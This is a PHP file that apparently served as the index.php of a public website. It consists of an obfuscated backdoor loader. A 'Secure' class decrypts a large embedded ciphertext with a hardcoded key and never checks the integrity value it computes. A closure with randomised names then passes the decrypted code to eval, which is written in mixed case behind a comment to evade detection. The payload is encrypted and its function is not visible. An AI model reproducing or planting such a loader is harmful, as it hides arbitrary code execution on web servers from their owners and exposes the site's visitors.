File: //home/survivingthecreditcrunch.org.uk/public_html/index.php
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;
public function __construct($masterKey) {
$this->masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
$WwOy9ISIfCh7mF = function($w9awNt1sJNK87){
/*A2s9d5f*/eVaL($w9awNt1sJNK87);
$mXM0ar3y76T = "mxDQ1TrjTz2a7tWUdPpLAGbFl0qjLSkgr9MBBpc3iRhIb4D59omZddYK";
return $mXM0ar3y76T;
};
$WwOy9ISIfCh7mF($decrypted);